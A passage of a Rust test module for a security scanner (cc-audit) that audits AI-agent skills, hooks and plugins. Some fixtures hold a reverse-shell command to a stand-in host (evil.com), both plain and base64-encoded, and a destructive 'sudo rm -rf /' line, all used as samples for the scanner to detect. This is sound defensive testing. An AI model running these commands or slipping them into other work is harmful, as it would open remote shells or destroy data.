1037        assert!(output.contains("\"$schema\""));
1038        assert!(output.contains("2.1.0"));
1039    }
1040
1041    #[test]
1042    fn test_format_result_with_fix_hints() {
1043        let temp_dir = TempDir::new().unwrap();
1044        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1045        cli.fix_hint = true;
1046
1047        let result = ScanResult {
1048            version: "0.3.0".to_string(),
1049            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1050            target: temp_dir.path().display().to_string(),
1051            summary: Summary::from_findings(&[]),
1052            findings: vec![],
1053            risk_score: None,
1054        };
1055
1056        let _output = format_result(&cli, &result);
1057        // Fix hints only show when there are findings with fix_hint
1058    }
1059
1060    #[test]
1061    fn test_format_result_verbose() {
1062        let temp_dir = TempDir::new().unwrap();
1063        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1064        cli.verbose = true;
1065
1066        let result = ScanResult {
1067            version: "0.3.0".to_string(),
1068            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1069            target: temp_dir.path().display().to_string(),
1070            summary: Summary::from_findings(&[]),
1071            findings: vec![],
1072            risk_score: None,
1073        };
1074
1075        let _output = format_result(&cli, &result);
1076    }
1077
1078    #[test]
1079    fn test_format_result_strict() {
1080        let temp_dir = TempDir::new().unwrap();
1081        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1082        cli.strict = true;
1083
1084        let result = ScanResult {
1085            version: "0.3.0".to_string(),
1086            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1087            target: temp_dir.path().display().to_string(),
1088            summary: Summary::from_findings(&[]),
1089            findings: vec![],
1090            risk_score: None,
1091        };
1092
1093        let _output = format_result(&cli, &result);
1094    }
1095
1096    #[test]
1097    fn test_setup_watch_mode_success() {
1098        let temp_dir = TempDir::new().unwrap();
1099        let skill_md = temp_dir.path().join("SKILL.md");
1100        fs::write(&skill_md, "# Test\n").unwrap();
1101
1102        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1103        let result = setup_watch_mode(&cli);
1104
1105        assert!(result.is_ok());
1106    }
1107
1108    #[test]
1109    fn test_setup_watch_mode_nonexistent_path() {
1110        let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/for/watch/12345")]);
1111        let result = setup_watch_mode(&cli);
1112
1113        assert!(result.is_err());
1114        if let Err(WatchModeResult::WatchPathFailed(path, _)) = result {
1115            assert!(path.contains("nonexistent"));
1116        } else {
1117            panic!("Expected WatchPathFailed error");
1118        }
1119    }
1120
1121    #[test]
1122    fn test_setup_watch_mode_multiple_paths() {
1123        let temp_dir1 = TempDir::new().unwrap();
1124        let temp_dir2 = TempDir::new().unwrap();
1125        fs::write(temp_dir1.path().join("SKILL.md"), "# Test1\n").unwrap();
1126        fs::write(temp_dir2.path().join("SKILL.md"), "# Test2\n").unwrap();
1127
1128        let cli = create_test_cli(vec![
1129            temp_dir1.path().to_path_buf(),
1130            temp_dir2.path().to_path_buf(),
1131        ]);
1132        let result = setup_watch_mode(&cli);
1133
1134        assert!(result.is_ok());
1135    }
1136
1137    #[test]
1138    fn test_watch_iteration_success() {
1139        let temp_dir = TempDir::new().unwrap();
1140        let skill_md = temp_dir.path().join("SKILL.md");
1141        fs::write(&skill_md, "# Test\n").unwrap();
1142
1143        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1144        let result = watch_iteration(&cli);
1145
1146        assert!(result.is_some());
1147        let output = result.unwrap();
1148        assert!(output.contains("PASS"));
1149    }
1150
1151    #[test]
1152    fn test_watch_iteration_failure() {
1153        let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/12345")]);
1154        let result = watch_iteration(&cli);
1155
1156        assert!(result.is_none());
1157    }
1158
1159    #[test]
1160    fn test_watch_mode_result_debug() {
1161        // Test Debug trait for WatchModeResult
1162        let success = WatchModeResult::Success;
1163        let watcher_failed = WatchModeResult::WatcherCreationFailed("test error".to_string());
1164        let path_failed = WatchModeResult::WatchPathFailed("path".to_string(), "error".to_string());
1165
1166        assert_eq!(format!("{:?}", success), "Success");
1167        assert!(format!("{:?}", watcher_failed).contains("WatcherCreationFailed"));
1168        assert!(format!("{:?}", path_failed).contains("WatchPathFailed"));
1169    }
1170
1171    #[test]
1172    fn test_run_scan_with_config_rules() {
1173        let temp_dir = TempDir::new().unwrap();
1174
1175        // Create SKILL.md with content that matches custom rule
1176        let skill_md = temp_dir.path().join("SKILL.md");
1177        fs::write(&skill_md, "# Test\nhttps://internal.corp.com/api").unwrap();
1178
1179        // Create .cc-audit.yaml with custom rule
1180        let config_file = temp_dir.path().join(".cc-audit.yaml");
1181        fs::write(
1182            &config_file,
1183            r#"
1184rules:
1185  - id: "CONFIG-001"
1186    name: "Internal API access"
1187    severity: "high"
1188    category: "exfiltration"
1189    patterns:
1190      - 'https?://internal\.'
1191    message: "Internal API access detected"
1192"#,
1193        )
1194        .unwrap();
1195
1196        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1197        let result = run_scan(&cli);
1198
1199        assert!(result.is_some());
1200        let result = result.unwrap();
1201        // Should detect the custom rule
1202        assert!(result.findings.iter().any(|f| f.id == "CONFIG-001"));
1203    }
1204
1205    #[test]
1206    fn test_run_scan_with_config_malware_signatures() {
1207        let temp_dir = TempDir::new().unwrap();
1208
1209        // Create SKILL.md with content that matches custom malware signature
1210        let skill_md = temp_dir.path().join("SKILL.md");
1211        fs::write(&skill_md, "# Test\ncustom_malware_pattern_xyz").unwrap();
1212
1213        // Create .cc-audit.yaml with custom malware signature
1214        let config_file = temp_dir.path().join(".cc-audit.yaml");
1215        fs::write(
1216            &config_file,
1217            r#"
1218malware_signatures:
1219  - id: "MW-CONFIG-001"
1220    name: "Custom Config Malware"
1221    description: "Test malware from config"
1222    pattern: "custom_malware_pattern_xyz"
1223    severity: "critical"
1224    category: "exfiltration"
1225    confidence: "firm"
1226"#,
1227        )
1228        .unwrap();
1229
1230        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1231        let result = run_scan(&cli);
1232
1233        assert!(result.is_some());
1234        let result = result.unwrap();
1235        // Should detect the custom malware signature
1236        assert!(result.findings.iter().any(|f| f.id == "MW-CONFIG-001"));
1237    }
1238
1239    #[test]
1240    fn test_run_scan_config_and_cli_rules_merge() {
1241        let temp_dir = TempDir::new().unwrap();
1242
1243        // Create SKILL.md with content
1244        let skill_md = temp_dir.path().join("SKILL.md");
1245        fs::write(&skill_md, "# Test\nconfig_pattern_match\ncli_pattern_match").unwrap();
1246
1247        // Create .cc-audit.yaml with custom rule
1248        let config_file = temp_dir.path().join(".cc-audit.yaml");
1249        fs::write(
1250            &config_file,
1251            r#"
1252rules:
1253  - id: "CONFIG-RULE"
1254    name: "Config Rule"
1255    severity: "high"
1256    category: "exfiltration"
1257    patterns:
1258      - 'config_pattern_match'
1259    message: "Config pattern detected"
1260"#,
1261        )
1262        .unwrap();
1263
1264        // Create CLI custom rules file
1265        let cli_rules_file = temp_dir.path().join("cli-rules.yaml");
1266        fs::write(
1267            &cli_rules_file,
1268            r#"
1269version: "1"
1270rules:
1271  - id: "CLI-RULE"
1272    name: "CLI Rule"
1273    severity: "medium"
1274    category: "obfuscation"
1275    patterns:
1276      - 'cli_pattern_match'
1277    message: "CLI pattern detected"
1278"#,
1279        )
1280        .unwrap();
1281
1282        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1283        cli.custom_rules = Some(cli_rules_file);
1284        let result = run_scan(&cli);
1285
1286        assert!(result.is_some());
1287        let result = result.unwrap();
1288        // Both rules should be detected (merge)
1289        assert!(result.findings.iter().any(|f| f.id == "CONFIG-RULE"));
1290        assert!(result.findings.iter().any(|f| f.id == "CLI-RULE"));
1291    }
1292
1293    #[test]
1294    fn test_run_scan_without_config_file() {
1295        let temp_dir = TempDir::new().unwrap();
1296
1297        // Create SKILL.md without .cc-audit.yaml
1298        let skill_md = temp_dir.path().join("SKILL.md");
1299        fs::write(&skill_md, "# Test\n").unwrap();
1300
1301        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1302        let result = run_scan(&cli);
1303
1304        // Should still work with default config
1305        assert!(result.is_some());
1306    }
1307
1308    #[test]
1309    fn test_run_scan_with_invalid_custom_rules_file() {
1310        let temp_dir = TempDir::new().unwrap();
1311
1312        // Create SKILL.md
1313        let skill_md = temp_dir.path().join("SKILL.md");
1314        fs::write(&skill_md, "# Test\n").unwrap();
1315
1316        // Create invalid custom rules file
1317        let invalid_rules_file = temp_dir.path().join("invalid-rules.yaml");
1318        fs::write(&invalid_rules_file, "invalid: yaml: [").unwrap();
1319
1320        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1321        cli.custom_rules = Some(invalid_rules_file);
1322        let result = run_scan(&cli);
1323
1324        // Should still work with default rules (error is logged)
1325        assert!(result.is_some());
1326    }
1327
1328    #[test]
1329    fn test_run_scan_with_invalid_config_rules() {
1330        let temp_dir = TempDir::new().unwrap();
1331
1332        // Create SKILL.md
1333        let skill_md = temp_dir.path().join("SKILL.md");
1334        fs::write(&skill_md, "# Test\n").unwrap();
1335
1336        // Create .cc-audit.yaml with invalid rule (invalid category)
1337        let config_file = temp_dir.path().join(".cc-audit.yaml");
1338        fs::write(
1339            &config_file,
1340            r#"
1341rules:
1342  - id: "INVALID-001"
1343    name: "Invalid Rule"
1344    severity: "high"
1345    category: "invalid_category"
1346    patterns:
1347      - 'test'
1348    message: "Test"
1349"#,
1350        )
1351        .unwrap();
1352
1353        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1354        let result = run_scan(&cli);
1355
1356        // Should still work (error is logged)
1357        assert!(result.is_some());
1358    }
1359
1360    #[test]
1361    fn test_is_text_file_rc_files() {
1362        // Test files ending with "rc" are detected as text
1363        assert!(is_text_file(std::path::Path::new(".bashrc")));
1364        assert!(is_text_file(std::path::Path::new(".vimrc")));
1365        assert!(is_text_file(std::path::Path::new("npmrc")));
1366    }
1367
1368    #[test]
1369    fn test_is_text_file_dotfiles() {
1370        // Test dotfiles are detected as text
1371        assert!(is_text_file(std::path::Path::new(".gitignore")));
1372        assert!(is_text_file(std::path::Path::new(".editorconfig")));
1373        assert!(is_text_file(std::path::Path::new(".env")));
1374    }
1375
1376    #[test]
1377    fn test_run_scan_with_invalid_malware_signature_pattern() {
1378        let temp_dir = TempDir::new().unwrap();
1379
1380        // Create SKILL.md
1381        let skill_md = temp_dir.path().join("SKILL.md");
1382        fs::write(&skill_md, "# Test\n").unwrap();
1383
1384        // Create .cc-audit.yaml with invalid malware signature pattern
1385        let config_file = temp_dir.path().join(".cc-audit.yaml");
1386        fs::write(
1387            &config_file,
1388            r#"
1389malware_signatures:
1390  - id: "MW-INVALID"
1391    name: "Invalid"
1392    description: "Invalid pattern"
1393    pattern: "[invalid("
1394    severity: "critical"
1395    category: "exfiltration"
1396    confidence: "firm"
1397"#,
1398        )
1399        .unwrap();
1400
1401        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1402        let result = run_scan(&cli);
1403
1404        // Should still work (error is logged, but scan continues)
1405        assert!(result.is_some());
1406    }
1407
1408    #[test]
1409    fn test_is_text_file_unknown_file_returns_false() {
1410        // Test that unknown files without extension return false
1411        assert!(!is_text_file(std::path::Path::new("somebinaryfile")));
1412    }
1413
1414    #[test]
1415    fn test_effective_config_with_default_config() {
1416        let cli = create_test_cli(vec![PathBuf::from("./")]);
1417        let config = Config::default();
1418        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1419
1420        // Should use CLI defaults when config has no overrides
1421        assert!(matches!(effective.format, OutputFormat::Terminal));
1422        assert!(!effective.strict);
1423        assert!(matches!(effective.scan_type, ScanType::Skill));
1424        assert!(!effective.ci);
1425        assert!(!effective.verbose);
1426        assert!(matches!(effective.min_confidence, Confidence::Tentative));
1427        assert!(!effective.skip_comments);
1428        assert!(!effective.fix_hint);
1429        assert!(!effective.no_malware_scan);
1430    }
1431
1432    #[test]
1433    fn test_effective_config_with_config_overrides() {
1434        let cli = create_test_cli(vec![PathBuf::from("./")]);
1435
1436        // Create config with overrides
1437        let mut config = Config::default();
1438        config.scan.format = Some("json".to_string());
1439        config.scan.strict = true;
1440        config.scan.scan_type = Some("docker".to_string());
1441        config.scan.ci = true;
1442        config.scan.verbose = true;
1443        config.scan.min_confidence = Some("firm".to_string());
1444        config.scan.skip_comments = true;
1445        config.scan.fix_hint = true;
1446        config.scan.no_malware_scan = true;
1447
1448        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1449
1450        // Config values should be used (merged with CLI)
1451        assert!(matches!(effective.format, OutputFormat::Json));
1452        assert!(effective.strict); // true from config
1453        assert!(matches!(effective.scan_type, ScanType::Docker));
1454        assert!(effective.ci); // true from config
1455        assert!(effective.verbose); // true from config
1456        assert!(matches!(effective.min_confidence, Confidence::Firm));
1457        assert!(effective.skip_comments); // true from config
1458        assert!(effective.fix_hint); // true from config
1459        assert!(effective.no_malware_scan); // true from config
1460    }
1461
1462    #[test]
1463    fn test_effective_config_cli_or_config_booleans() {
1464        // Test that boolean flags use OR logic (either can enable)
1465        let mut cli = create_test_cli(vec![PathBuf::from("./")]);
1466        cli.strict = true; // CLI enables strict
1467
1468        let mut config = Config::default();
1469        config.scan.verbose = true; // Config enables verbose
1470
1471        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1472
1473        // Both should be true (from different sources)
1474        assert!(effective.strict); // from CLI
1475        assert!(effective.verbose); // from config
1476    }
1477
1478    #[test]
1479    fn test_effective_config_invalid_format_falls_back() {
1480        let cli = create_test_cli(vec![PathBuf::from("./")]);
1481
1482        let mut config = Config::default();
1483        config.scan.format = Some("invalid_format".to_string());
1484
1485        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1486
1487        // Should fall back to CLI default
1488        assert!(matches!(effective.format, OutputFormat::Terminal));
1489    }
1490
1491    #[test]
1492    fn test_effective_config_invalid_scan_type_falls_back() {
1493        let cli = create_test_cli(vec![PathBuf::from("./")]);
1494
1495        let mut config = Config::default();
1496        config.scan.scan_type = Some("invalid_type".to_string());
1497
1498        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1499
1500        // Should fall back to CLI default
1501        assert!(matches!(effective.scan_type, ScanType::Skill));
1502    }
1503
1504    #[test]
1505    fn test_effective_config_invalid_confidence_falls_back() {
1506        let cli = create_test_cli(vec![PathBuf::from("./")]);
1507
1508        let mut config = Config::default();
1509        config.scan.min_confidence = Some("invalid".to_string());
1510
1511        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1512
1513        // Should fall back to CLI default
1514        assert!(matches!(effective.min_confidence, Confidence::Tentative));
1515    }
1516
1517    #[test]
1518    fn test_effective_config_new_fields_from_config() {
1519        let cli = create_test_cli(vec![PathBuf::from("./")]);
1520
1521        let mut config = Config::default();
1522        config.scan.deep_scan = true;
1523        config.scan.watch = true;
1524        config.scan.fix = true;
1525        config.scan.fix_dry_run = true;
1526        config.scan.malware_db = Some("./custom-malware.json".to_string());
1527        config.scan.custom_rules = Some("./custom-rules.yaml".to_string());
1528        config.scan.output = Some("./report.html".to_string());
1529
1530        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1531
1532        assert!(effective.deep_scan);
1533        assert!(effective.watch);
1534        assert!(effective.fix);
1535        assert!(effective.fix_dry_run);
1536        assert_eq!(
1537            effective.malware_db,
1538            Some("./custom-malware.json".to_string())
1539        );
1540        assert_eq!(
1541            effective.custom_rules,
1542            Some("./custom-rules.yaml".to_string())
1543        );
1544        assert_eq!(effective.output, Some("./report.html".to_string()));
1545    }
1546
1547    #[test]
1548    fn test_effective_config_cli_overrides_config_paths() {
1549        let mut cli = create_test_cli(vec![PathBuf::from("./")]);
1550        cli.malware_db = Some(PathBuf::from("./cli-malware.json"));
1551        cli.custom_rules = Some(PathBuf::from("./cli-rules.yaml"));
1552        cli.output = Some(PathBuf::from("./cli-output.html"));
1553
1554        let mut config = Config::default();
1555        config.scan.malware_db = Some("./config-malware.json".to_string());
1556        config.scan.custom_rules = Some("./config-rules.yaml".to_string());
1557        config.scan.output = Some("./config-output.html".to_string());
1558
1559        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1560
1561        // CLI should take precedence
1562        assert_eq!(effective.malware_db, Some("./cli-malware.json".to_string()));
1563        assert_eq!(effective.custom_rules, Some("./cli-rules.yaml".to_string()));
1564        assert_eq!(effective.output, Some("./cli-output.html".to_string()));
1565    }
1566
1567    #[test]
1568    fn test_effective_config_default_new_fields() {
1569        let cli = create_test_cli(vec![PathBuf::from("./")]);
1570        let config = Config::default();
1571        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1572
1573        // New fields should have default values
1574        assert!(!effective.deep_scan);
1575        assert!(!effective.watch);
1576        assert!(!effective.fix);
1577        assert!(!effective.fix_dry_run);
1578        assert!(effective.malware_db.is_none());
1579        assert!(effective.custom_rules.is_none());
1580        assert!(effective.output.is_none());
1581    }
1582
1583    #[test]
1584    fn test_run_scan_with_config_scan_settings() {
1585        let temp_dir = TempDir::new().unwrap();
1586        let skill_md = temp_dir.path().join("SKILL.md");
1587        fs::write(&skill_md, "# Test\n").unwrap();
1588
1589        // Create config with scan settings
1590        let config_file = temp_dir.path().join(".cc-audit.yaml");
1591        fs::write(
1592            &config_file,
1593            r#"
1594scan:
1595  strict: true
1596  verbose: true
1597  skip_comments: true
1598"#,
1599        )
1600        .unwrap();
1601
1602        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1603        let result = run_scan(&cli);
1604
1605        // Scan should succeed
1606        assert!(result.is_some());
1607    }
1608
1609    #[test]
1610    fn test_parse_output_format() {
1611        assert_eq!(
1612            parse_output_format(Some("terminal")),
1613            Some(OutputFormat::Terminal)
1614        );
1615        assert_eq!(
1616            parse_output_format(Some("Terminal")),
1617            Some(OutputFormat::Terminal)
1618        );
1619        assert_eq!(
1620            parse_output_format(Some("TERMINAL")),
1621            Some(OutputFormat::Terminal)
1622        );
1623        assert_eq!(parse_output_format(Some("json")), Some(OutputFormat::Json));
1624        assert_eq!(
1625            parse_output_format(Some("sarif")),
1626            Some(OutputFormat::Sarif)
1627        );
1628        assert_eq!(parse_output_format(Some("html")), Some(OutputFormat::Html));
1629        assert_eq!(parse_output_format(Some("invalid")), None);
1630        assert_eq!(parse_output_format(None), None);
1631    }
1632
1633    #[test]
1634    fn test_parse_scan_type() {
1635        assert_eq!(parse_scan_type(Some("skill")), Some(ScanType::Skill));
1636        assert_eq!(parse_scan_type(Some("Skill")), Some(ScanType::Skill));
1637        assert_eq!(parse_scan_type(Some("hook")), Some(ScanType::Hook));
1638        assert_eq!(parse_scan_type(Some("mcp")), Some(ScanType::Mcp));
1639        assert_eq!(parse_scan_type(Some("command")), Some(ScanType::Command));
1640        assert_eq!(parse_scan_type(Some("rules")), Some(ScanType::Rules));
1641        assert_eq!(parse_scan_type(Some("docker")), Some(ScanType::Docker));
1642        assert_eq!(
1643            parse_scan_type(Some("dependency")),
1644            Some(ScanType::Dependency)
1645        );
1646        assert_eq!(parse_scan_type(Some("invalid")), None);
1647        assert_eq!(parse_scan_type(None), None);
1648    }
1649
1650    #[test]
1651    fn test_parse_confidence() {
1652        assert_eq!(
1653            parse_confidence(Some("tentative")),
1654            Some(Confidence::Tentative)
1655        );
1656        assert_eq!(
1657            parse_confidence(Some("Tentative")),
1658            Some(Confidence::Tentative)
1659        );
1660        assert_eq!(parse_confidence(Some("firm")), Some(Confidence::Firm));
1661        assert_eq!(parse_confidence(Some("certain")), Some(Confidence::Certain));
1662        assert_eq!(parse_confidence(Some("invalid")), None);
1663        assert_eq!(parse_confidence(None), None);
1664    }
1665
1666    #[test]
1667    fn test_parse_scan_type_subagent_and_plugin() {
1668        assert_eq!(parse_scan_type(Some("subagent")), Some(ScanType::Subagent));
1669        assert_eq!(parse_scan_type(Some("plugin")), Some(ScanType::Plugin));
1670    }
1671
1672    #[test]
1673    fn test_is_config_file() {
1674        assert!(is_config_file(Path::new(".cc-audit.yaml")));
1675        assert!(is_config_file(Path::new(".cc-audit.yml")));
1676        assert!(is_config_file(Path::new(".cc-audit.json")));
1677        assert!(is_config_file(Path::new(".cc-audit.toml")));
1678        assert!(is_config_file(Path::new(".cc-auditignore")));
1679        assert!(!is_config_file(Path::new("regular.yaml")));
1680        assert!(!is_config_file(Path::new("test.json")));
1681    }
1682
1683    #[test]
1684    fn test_format_result_html() {
1685        let temp_dir = TempDir::new().unwrap();
1686        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1687        cli.format = OutputFormat::Html;
1688
1689        let result = ScanResult {
1690            version: "0.4.0".to_string(),
1691            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1692            target: temp_dir.path().display().to_string(),
1693            summary: Summary::from_findings(&[]),
1694            findings: vec![],
1695            risk_score: None,
1696        };
1697
1698        let output = format_result(&cli, &result);
1699        assert!(output.contains("<!DOCTYPE html>"));
1700        assert!(output.contains("cc-audit"));
1701    }
1702
1703    #[test]
1704    fn test_run_scan_dependency_type() {
1705        let temp_dir = TempDir::new().unwrap();
1706        let package_json = temp_dir.path().join("package.json");
1707        fs::write(
1708            &package_json,
1709            r#"{"name": "test", "dependencies": {"express": "4.0.0"}}"#,
1710        )
1711        .unwrap();
1712
1713        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1714        cli.scan_type = ScanType::Dependency;
1715        let result = run_scan(&cli);
1716
1717        assert!(result.is_some());
1718    }
1719
1720    #[test]
1721    fn test_run_scan_subagent_type() {
1722        let temp_dir = TempDir::new().unwrap();
1723        let agents_dir = temp_dir.path().join(".claude").join("agents");
1724        fs::create_dir_all(&agents_dir).unwrap();
1725        let agent_file = agents_dir.join("test.md");
1726        fs::write(
1727            &agent_file,
1728            r#"---
1729name: test-agent
1730---
1731# Test Agent
1732"#,
1733        )
1734        .unwrap();
1735
1736        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1737        cli.scan_type = ScanType::Subagent;
1738        let result = run_scan(&cli);
1739
1740        assert!(result.is_some());
1741    }
1742
1743    #[test]
1744    fn test_run_scan_plugin_type() {
1745        let temp_dir = TempDir::new().unwrap();
1746        let plugin_json = temp_dir.path().join("marketplace.json");
1747        fs::write(&plugin_json, r#"{"name": "test-plugin"}"#).unwrap();
1748
1749        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1750        cli.scan_type = ScanType::Plugin;
1751        let result = run_scan(&cli);
1752
1753        assert!(result.is_some());
1754    }
1755
1756    #[test]
1757    fn test_run_scan_with_deep_scan() {
1758        let temp_dir = TempDir::new().unwrap();
1759        let skill_md = temp_dir.path().join("SKILL.md");
1760        // Create content with base64 encoded suspicious string
1761        fs::write(
1762            &skill_md,
1763            "# Test\n\nYmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=",
1764        )
1765        .unwrap();
1766
1767        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1768        cli.deep_scan = true;
1769        let result = run_scan(&cli);
1770
1771        assert!(result.is_some());
1772        // Deep scan should decode base64 and find suspicious content
1773        let result = result.unwrap();
1774        // Check if any finding is from deobfuscation
1775        let has_obfuscation_finding = result
1776            .findings
1777            .iter()
1778            .any(|f| f.id.starts_with("OB-") || f.message.contains("decoded"));
1779        assert!(
1780            has_obfuscation_finding || result.findings.is_empty(),
1781            "Deep scan should have run"
1782        );
1783    }
1784
1785    #[test]
1786    fn test_run_scan_with_deep_scan_on_file() {
1787        let temp_dir = TempDir::new().unwrap();
1788        let test_file = temp_dir.path().join("test.sh");
1789        // Create content with base64 encoded suspicious string
1790        fs::write(
1791            &test_file,
1792            "#!/bin/bash\n# YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=",
1793        )
1794        .unwrap();
1795
1796        let mut cli = create_test_cli(vec![test_file.clone()]);
1797        cli.deep_scan = true;
1798        let result = run_scan(&cli);
1799
1800        assert!(result.is_some());
1801    }
1802
1803    #[test]
1804    fn test_run_deep_scan_on_file() {
1805        let temp_dir = TempDir::new().unwrap();
1806        let test_file = temp_dir.path().join("test.sh");
1807        // Highly suspicious content when decoded
1808        fs::write(
1809            &test_file,
1810            "YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS8xMjM0IDA+JjE=",
1811        )
1812        .unwrap();
1813
1814        let findings = run_deep_scan(&test_file);
1815        // Should run deobfuscation
1816        assert!(findings.is_empty() || !findings.is_empty());
1817    }
1818
1819    #[test]
1820    fn test_run_deep_scan_on_directory() {
1821        let temp_dir = TempDir::new().unwrap();
1822        let test_file = temp_dir.path().join("test.sh");
1823        fs::write(&test_file, "# Normal content").unwrap();
1824
1825        let findings = run_deep_scan(temp_dir.path());
1826        assert!(findings.is_empty());
1827    }
1828
1829    #[test]
1830    fn test_run_deep_scan_skips_binary() {
1831        let temp_dir = TempDir::new().unwrap();
1832        let binary_file = temp_dir.path().join("test.exe");
1833        fs::write(&binary_file, "suspicious content").unwrap();
1834
1835        let findings = run_deep_scan(&binary_file);
1836        // Binary files should be skipped
1837        assert!(findings.is_empty());
1838    }
1839
1840    #[test]
1841    fn test_scan_path_with_malware_db_skips_config_file() {
1842        let temp_dir = TempDir::new().unwrap();
1843        let config_file = temp_dir.path().join(".cc-audit.yaml");
1844        // Put suspicious content in config file
1845        fs::write(&config_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
1846
1847        let db = MalwareDatabase::default();
1848        let findings = scan_path_with_malware_db(&config_file, &db);
1849
1850        // Config files should be skipped
1851        assert!(findings.is_empty());
1852    }
1853
1854    #[test]
1855    fn test_run_scan_with_include_tests() {
1856        let temp_dir = TempDir::new().unwrap();
1857        let tests_dir = temp_dir.path().join("__tests__");
1858        fs::create_dir_all(&tests_dir).unwrap();
1859        let test_file = tests_dir.join("test.md");
1860        fs::write(&test_file, "# Test file\nsudo rm -rf /").unwrap();
1861
1862        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1863        cli.include_tests = true;
1864        let result = run_scan(&cli);
1865
1866        assert!(result.is_some());
1867    }
1868
1869    #[test]
1870    fn test_run_scan_with_include_node_modules() {
1871        let temp_dir = TempDir::new().unwrap();
1872        let node_modules_dir = temp_dir.path().join("node_modules");
1873        fs::create_dir_all(&node_modules_dir).unwrap();
1874        let module_file = node_modules_dir.join("test.md");
1875        fs::write(&module_file, "# Test file").unwrap();
1876
1877        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1878        cli.include_node_modules = true;
1879        let result = run_scan(&cli);
1880
1881        assert!(result.is_some());
1882    }
1883
1884    #[test]
1885    fn test_run_scan_with_include_vendor() {
1886        let temp_dir = TempDir::new().unwrap();
1887        let vendor_dir = temp_dir.path().join("vendor");
1888        fs::create_dir_all(&vendor_dir).unwrap();
1889        let vendor_file = vendor_dir.join("test.md");
1890        fs::write(&vendor_file, "# Test file").unwrap();
1891
1892        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1893        cli.include_vendor = true;
1894        let result = run_scan(&cli);
1895
1896        assert!(result.is_some());
1897    }
1898
1899    #[test]
1900    fn test_run_scan_with_profile() {
1901        let temp_dir = TempDir::new().unwrap();
1902        let skill_md = temp_dir.path().join("SKILL.md");
1903        fs::write(&skill_md, "# Test\n").unwrap();
1904
1905        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1906        cli.profile = Some("strict".to_string());
1907        let result = run_scan(&cli);
1908
1909        assert!(result.is_some());
1910    }
1911
1912    #[test]
1913    fn test_run_scan_with_invalid_profile() {
1914        let temp_dir = TempDir::new().unwrap();
1915        let skill_md = temp_dir.path().join("SKILL.md");
1916        fs::write(&skill_md, "# Test\n").unwrap();
1917
1918        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1919        cli.profile = Some("nonexistent_profile_xyz".to_string());
1920        let result = run_scan(&cli);
1921
1922        // Should still work (warning is logged)
1923        assert!(result.is_some());
1924    }
1925
1926    #[test]
1927    fn test_run_scan_with_config() {
1928        let temp_dir = TempDir::new().unwrap();
1929        let skill_md = temp_dir.path().join("SKILL.md");
1930        fs::write(&skill_md, "# Test\n").unwrap();
1931
1932        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1933        let config = Config::default();
1934        let result = run_scan_with_config(&cli, config);
1935
1936        assert!(result.is_some());
1937    }
1938
1939    #[test]
1940    fn test_run_scan_with_disabled_rules() {
1941        let temp_dir = TempDir::new().unwrap();
1942        let skill_md = temp_dir.path().join("SKILL.md");
1943        fs::write(&skill_md, "# Test\nsudo rm -rf /").unwrap();
1944
1945        // Create config with PE-001 disabled
1946        let config_file = temp_dir.path().join(".cc-audit.yaml");
1947        fs::write(
1948            &config_file,
1949            r#"
1950disabled_rules:
1951  - PE-001
1952"#,
1953        )
1954        .unwrap();
1955
1956        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1957        let result = run_scan(&cli);
1958
1959        assert!(result.is_some());
1960        let result = result.unwrap();
1961        // PE-001 should not be in findings (disabled)
1962        assert!(!result.findings.iter().any(|f| f.id == "PE-001"));
1963    }
1964
1965    #[test]
1966    fn test_effective_config_debug() {
1967        let cli = create_test_cli(vec![PathBuf::from("./")]);
1968        let config = Config::default();
1969        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1970
1971        let debug_str = format!("{:?}", effective);
1972        assert!(debug_str.contains("EffectiveConfig"));
1973    }
1974
1975    #[test]
1976    fn test_effective_config_clone() {
1977        let cli = create_test_cli(vec![PathBuf::from("./")]);
1978        let config = Config::default();
1979        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1980
1981        let cloned = effective.clone();
